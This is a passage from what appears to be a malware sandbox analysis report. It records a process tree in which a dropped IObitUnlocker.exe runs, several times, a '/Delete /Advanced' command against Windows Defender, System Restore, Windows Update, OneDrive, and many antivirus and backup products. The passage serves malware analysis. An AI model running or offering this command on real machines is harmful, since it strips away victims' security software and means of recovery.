Us.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1644
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:228
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:5044
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl 